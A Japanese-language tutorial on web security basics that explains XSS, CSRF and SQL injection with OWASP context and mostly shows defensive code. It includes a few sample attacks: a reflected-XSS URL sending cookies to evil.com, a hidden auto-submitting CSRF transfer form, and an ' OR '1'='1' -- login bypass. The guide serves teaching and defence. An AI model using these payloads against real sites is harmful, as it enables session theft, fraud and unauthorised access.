Webセキュリティの基礎 - XSS・CSRF・SQLインジェクションの仕組みと対策

Webアプリケーション開発で押さえるべき代表的な攻撃手法(XSS・CSRF・SQLインジェクション)の仕組みと対策をまとめる。

OWASP Top 10とは

OWASP(Open Worldwide Application Security Project) は、Webアプリケーションセキュリティに関する情報を発信する非営利団体。OWASPが定期的に発表する 「OWASP Top 10」 は、Webアプリケーションにおける最も深刻なセキュリティリスクのランキングである。

2021年版のOWASP Top 10では、以下のカテゴリが挙げられている。

  1. A01: アクセス制御の不備(Broken Access Control)
  2. A02: 暗号化の失敗(Cryptographic Failures)
  3. A03: インジェクション(Injection) - SQLインジェクション、XSSなど
  4. A04: 安全でない設計(Insecure Design)
  5. A05: セキュリティの設定ミス(Security Misconfiguration)
  6. A06: 脆弱で古いコンポーネント(Vulnerable and Outdated Components)
  7. A07: 識別と認証の失敗(Identification and Authentication Failures)
  8. A08: ソフトウェアとデータの整合性の不具合(Software and Data Integrity Failures)
  9. A09: セキュリティログとモニタリングの不備(Security Logging and Monitoring Failures)
  10. A10: サーバーサイドリクエストフォージェリ(Server-Side Request Forgery, SSRF)

以下では、特に開発者が遭遇しやすい XSS(A03)CSRF(A01関連)SQLインジェクション(A03) を取り上げる。

XSS(クロスサイトスクリプティング)

XSSとは

XSS(Cross-Site Scripting)は、攻撃者が悪意のあるスクリプトをWebページに埋め込み、他のユーザーのブラウザ上で実行させる攻撃手法。Cookie情報の窃取、セッションハイジャック、フィッシングサイトへのリダイレクトなどの被害につながる。

XSSの種類

XSSには主に3つの種類がある。

反射型XSS(Reflected XSS)

ユーザーが送信したデータが、サーバーの応答にそのまま反映される場合に発生する。攻撃者は悪意のあるスクリプトを含むURLを作成し、ユーザーにクリックさせる。

https://example.com/search?q=<script>document.location='https://evil.com/?cookie='+document.cookie</script>

検索結果ページでクエリパラメータをエスケープせずに表示すると、スクリプトが実行される。

格納型XSS(Stored XSS)

悪意のあるスクリプトがサーバーのデータベースに保存され、他のユーザーがそのデータを閲覧するたびにスクリプトが実行される。掲示板やコメント欄など、ユーザー投稿コンテンツがある機能で発生しやすい。反射型よりも影響範囲が広く、特に危険度が高い。

DOM Based XSS

サーバー側ではなく、クライアント側のJavaScriptがDOM操作を行う際に発生する。サーバーを経由しないため、サーバー側の対策だけでは防げない。

// 危険な例: URLハッシュの値をそのままHTMLに挿入
document.getElementById('output').innerHTML = location.hash.substring(1)

XSSの対策

HTMLエスケープ

ユーザー入力をHTMLとして出力する際は、必ず特殊文字をエスケープする。

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;')
}

// 使用例
const userInput = '<script>alert("XSS")</script>'
element.textContent = userInput // textContentは自動的にエスケープされる
// または
element.innerHTML = escapeHtml(userInput) // innerHTMLを使う場合は手動エスケープ

Content Security Policy(CSP)

HTTPヘッダーでCSPを設定することで、インラインスクリプトの実行や外部スクリプトの読み込みを制限できる。

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

フレームワークの自動エスケープ機能

ReactやVue.jsなどのモダンフレームワークは、デフォルトでHTMLエスケープを行う。ただし、Reactの dangerouslySetInnerHTML やVueの v-html を使う場合は自動エスケープが無効になるため注意が必要。

// React: 安全(自動エスケープされる)
return <div>{userInput}</div>

// React: 危険(エスケープされない)
return <div dangerouslySetInnerHTML={{ __html: userInput }} />

CSRF(クロスサイトリクエストフォージェリ)

CSRFとは

CSRF(Cross-Site Request Forgery)は、ユーザーが認証済みのWebサイトに対して、意図しないリクエストを送信させる攻撃。ユーザーがログイン状態のまま悪意のあるサイトを訪問すると、そのサイトからユーザーの権限を利用した不正なリクエストが送信される。

CSRFの攻撃例

たとえば、銀行のWebサイトで送金処理が以下のようなフォームで行われるとする。

<form action="https://bank.example.com/transfer" method="POST">
  <input name="to" value="受取人" />
  <input name="amount" value="10000" />
  <button type="submit">送金</button>
</form>

攻撃者は、以下のような罠ページを作成する。

<!-- 攻撃者のサイト上に設置された罠 -->
<img src="x" onerror="document.getElementById('csrf-form').submit()">
<form id="csrf-form" action="https://bank.example.com/transfer" method="POST" style="display:none">
  <input name="to" value="攻撃者の口座" />
  <input name="amount" value="1000000" />
</form>

ユーザーが銀行にログインした状態でこのページを開くと、ブラウザがCookieを自動送信するため、ユーザーの権限で送金リクエストが実行される。

CSRFの対策

CSRFトークン

サーバー側でランダムなトークンを生成し、フォームに埋め込む。リクエスト受信時にトークンを検証することで、正規のフォームからのリクエストであることを確認する。

// サーバー側(Express.js の例)
const crypto = require('crypto')

app.get('/form', (req, res) => {
  const token = crypto.randomBytes(32).toString('hex')
  req.session.csrfToken = token
  res.render('form', { csrfToken: token })
})

app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send('不正なリクエストです')
  }
  // 正常な処理を実行
})
<!-- フォーム側 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="{{csrfToken}}" />
  <!-- 他のフォーム要素 -->
</form>

SameSite Cookie属性

Cookieに SameSite 属性を設定することで、クロスサイトからのリクエストへのCookie送信を防止する。

Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
  • Strict: 他サイトからの全てのリクエストでCookieを送信しない
  • Lax: GETリクエストのみCookieを送信する(デフォルト)
  • None: 全てのリクエストでCookieを送信する(Secure 属性が必須)

SQLインジェクション

SQLインジェクションとは

SQLインジェクションは、ユーザー入力を適切に処理せずにSQL文に組み込むことで、攻撃者が意図しないSQLを実行できてしまう脆弱性。データベースの不正な読み取り、改ざん、削除、さらにはサーバーのコマンド実行まで可能になる場合がある。

攻撃の仕組み

以下のようなログイン処理のコードがあるとする。

// 危険な例: ユーザー入力を直接SQL文に埋め込んでいる
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`

攻撃者がユーザー名に ' OR '1'='1' -- と入力すると、SQL文は次のようになる。

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''

'1'='1' は常に真となり、-- 以降はコメントとして無視されるため、パスワードチェックがバイパスされる。

SQLインジェクションの対策

プリペアドステートメント(パラメータ化クエリ)

最も効果的な対策はプリペアドステートメントの使用。SQL文とパラメータを分離して送信するため、ユーザー入力がSQL文の構造を変更できなくなる。

// Node.js + MySQL の例
const mysql = require('mysql2/promise')

// 安全な例: プリペアドステートメントを使用
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, hashedPassword]
)
# Python + psycopg2 の例
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, hashed_password)
)

ORMの活用

ORM(Object-Relational Mapping)を使用すると、SQLを直接記述する機会が減り、SQLインジェクションのリスクを低減できる。

// Prisma(Node.js ORM)の例
const user = await prisma.user.findFirst({
  where: {
    username: username,
    password: hashedPassword,
  },
})

ただし、ORMでも生のSQLクエリを実行する機能を使う場合は、SQLインジェクションのリスクがあるため注意が必要。

入力値の検証

データベースクエリに渡す値に対して、型チェックや文字種の制限を行う。ただし、入力値の検証だけでは対策として不十分であり、プリペアドステートメントと組み合わせて使用する。

// 数値型が期待される場合
const userId = parseInt(req.params.id, 10)
if (isNaN(userId)) {
  return res.status(400).send('不正なIDです')
}

その他の重要なセキュリティ対策

HTTPSの強制

通信の盗聴や改ざんを防ぐために、全てのページでHTTPSを使用する。HTTPでのアクセスはHTTPSにリダイレクトする。

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

パスワードの安全な保存

パスワードは平文で保存せず、bcryptやArgon2などのハッシュアルゴリズムを使用して保存する。

const bcrypt = require('bcrypt')

// パスワードのハッシュ化
const saltRounds = 12
const hashedPassword = await bcrypt.hash(plainPassword, saltRounds)

// パスワードの検証
const isMatch = await bcrypt.compare(inputPassword, hashedPassword)

セキュリティヘッダーの設定

適切なHTTPヘッダーを設定することで、さまざまな攻撃を軽減できる。

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

依存パッケージの脆弱性管理

使用しているライブラリやフレームワークに既知の脆弱性がないか定期的にチェックする。

# npm の場合
npm audit

# pip の場合
pip-audit

セキュリティ対策チェックリスト

Web開発時に確認すべきセキュリティ対策のチェックリスト。

  • ユーザー入力は全てエスケープ・サニタイズしているか
  • SQLクエリにはプリペアドステートメントを使用しているか
  • CSRFトークンを実装しているか
  • Cookieに適切な属性(HttpOnly, Secure, SameSite)を設定しているか
  • HTTPSを強制しているか
  • パスワードは安全にハッシュ化して保存しているか
  • セキュリティ関連のHTTPヘッダーを設定しているか
  • エラーメッセージにシステムの内部情報を含めていないか
  • 依存パッケージの脆弱性を定期的にチェックしているか
  • アクセス制御が適切に実装されているか

参考リンク